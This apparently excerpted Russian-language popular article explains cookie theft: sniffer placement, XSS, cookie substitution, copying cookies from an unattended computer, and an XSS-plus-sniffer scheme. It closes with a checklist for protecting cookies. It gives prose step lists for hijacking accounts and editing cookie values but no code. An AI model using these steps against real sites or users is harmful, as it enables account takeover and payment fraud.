Для внедрения сниффера в интернет-канал между узлом пользователя и веб-сервером используются следующие методы:

  • «прослушивание» сетевых интерфейсов (хабов, свитчей);
  • ответвление и копирование трафика;
  • подключение в разрыв сетевого канала;
  • анализ посредством специальных атак, перенаправляющих трафик жертвы на сниффер (MAC-spoofing, IP-spoofing).

Аббревиатура XSS означает Cross Site Scripting — межсайтовый скриптинг. Применяется для атаки на веб-сайты с целью похищения данных пользователя.

Принцип действия XSS заключается в следующем:

  • злоумышленник внедряет вредоносный код (специальный замаскированный скрипт) на веб-страницу сайта, форума либо в сообщение (например, при переписке в соцсети);
  • жертва заходит на инфицированную страницу и активирует установленный код на своём ПК (кликает, переходит по ссылке и т.д.);
  • в свою очередь приведённый в действие зловредный код «извлекает» конфиденциальные данные пользователя из браузера (в частности, куки) и отправляет их на веб-сервер злоумышленника.

Для того, чтобы «вживить» программный XSS-механизм, хакеры используют всевозможные уязвимости в веб-серверах, онлайн-сервисах и браузерах.

Все XSS-уязвимости разделяются на два типа:

  • Пассивные . Атака получается методом запроса к конкретному скрипту веб-страницы. Вредоносный код может вводиться в различные формы на веб-странице (например, в строку поиска по сайту). Наиболее подвержены пассивному XSS ресурсы, на которых отсутствует при поступлении данных фильтрация HTML-тегов;
  • Активные . Находятся непосредственно на сервере. И приводятся в действие в браузере жертвы. Активно используются мошенниками во всевозможных блогах, чатах и новостных лентах.

Хакеры тщательно «камуфлируют» свои XSS-скрипты, чтобы жертва ничего не заподозрила. Меняют расширение файлов, выдают код за картинку, мотивируют пройти по ссылке, привлекают интересным контентом. В итоге: пользователь ПК, не совладавший с собственным любопытством, своей же рукой (кликом мышки) отправляет куки сессии (с логином и паролем!) автору XSS-скрипта — компьютерному злодею.

Подмена куки

Все куки сохраняются и отправляются на веб-сервер (с которого они «пришли») без каких-либо изменений — в первозданном виде — с такими же значениями, строками и другими данными. Умышленная модификация их параметров называется подменна куки. Другими словами говоря, при подмене куки злоумышленник выдаёт желаемое за действительное. Например, при осуществлении платежа в интернет-магазине, в куки изменяется сумма оплаты в меньшую сторону — таким образом происходит «экономия» на покупках.

Украденные куки сессии в соцсети с чужого аккаунта «подкладываются» в другую сессию и на другом ПК. Владелец украденных кук получает полный доступ к аккаунту жертвы (переписка, контент, настройки страницы) до тех пор пока, она будет находится на своей странице.

«Редактирование» кук осуществляется при помощи:

  • функции «Управление cookies... » в браузере Opera;
  • аддонов Cookies Manager и Advanced Cookie Manager для FireFox;
  • утилиты IECookiesView (только для Internet Explorer);
  • текстового редактора типа AkelPad, NotePad или блокнота Windows.

Физический доступ к данным

Очень простая схема по реализации, состоит из нескольких шагов. Но действенна лишь в том случае, если компьютер жертвы с открытой сессией, например Вконтакте, оставлен без присмотра (и достаточно надолго!):

  1. В адресную строку браузера вводится функция javascript, отображающая все сохранённые куки.
  2. После нажатия «ENTER» они все появляются на странице.
  3. Куки копируются, сохраняются в файл, а затем переносятся на флешку.
  4. На другом ПК осуществляется подмена куки в новой сессии.
  5. Открывается доступ к аккаунту жертвы.

Как правило, хакеры используют вышеперечисленные инструменты (+ другие) как в комплексе (поскольку уровень защиты на многих веб-ресурсах достаточно высок), так и по отдельности (когда пользователи проявляют чрезмерную наивность).

XSS + сниффер

  1. Создаётся XSS-скрипт, в котором указывается адрес сниффера-онлайн (собственного изготовления либо конкретного сервиса).
  2. Вредоносный код сохраняется с расширением.img (формат картинки).
  3. Затем этот файл загружается на страницу сайта, в чат, либо в личное сообщение — туда, где будет осуществляться атака.
  4. Привлекается внимание пользователя к созданной «ловушке» (здесь в силу уже вступает социальная инженерия).
  5. Если «ловушка» срабатывает, куки из браузера жертвы перехватываются сниффером.
  6. Взломщик открывает логи сниффера и извлекает похищенные куки.
  7. Далее выполняет подмену для получения прав владельца аккаунта посредством вышеперечисленных инструментов.

Защита cookies от взлома

  1. Пользоваться шифрованным соединением (с использованием соответствующих протоколов, и методов обеспечения ).
  2. Не реагировать на сомнительные ссылки, картинки, заманчивые предложения ознакомиться с «новым бесплатным ПО». В особенности от незнакомых людей.
  3. Пользоваться только доверенными веб-ресурсами.
  4. Завершать авторизированную сессию, нажатием кнопки «Выход» (а не просто закрывать вкладку!). Особенно, если вход в аккаунт выполнялся не с личного компьютера, а, например, с ПК в интернет-кафе.
  5. Не пользоваться функцией браузера «Сохранить пароль». Сохраняемые регистрационные данные повышают риск кражи в разы. Не стоит лениться, не стоит жалеть нескольких минут времени на ввод пароля и логина в начале каждой сессии.
  6. После веб-сёрфинга — посещения соцсетей, форумов, чатов, сайтов — удалять сохранённые куки и очищать кэш браузера.
  7. Регулярно обновлять браузеры и антивирусное ПО.
  8. Пользоваться браузерными расширениями, защищающими от XSS-атак (например, NoScript для FF и Google Chrome).
  9. Периодически в аккаунтах.

И самое главное — не теряйте бдительность и внимание во время отдыха или работы в Интернете!

Рассказать друзьям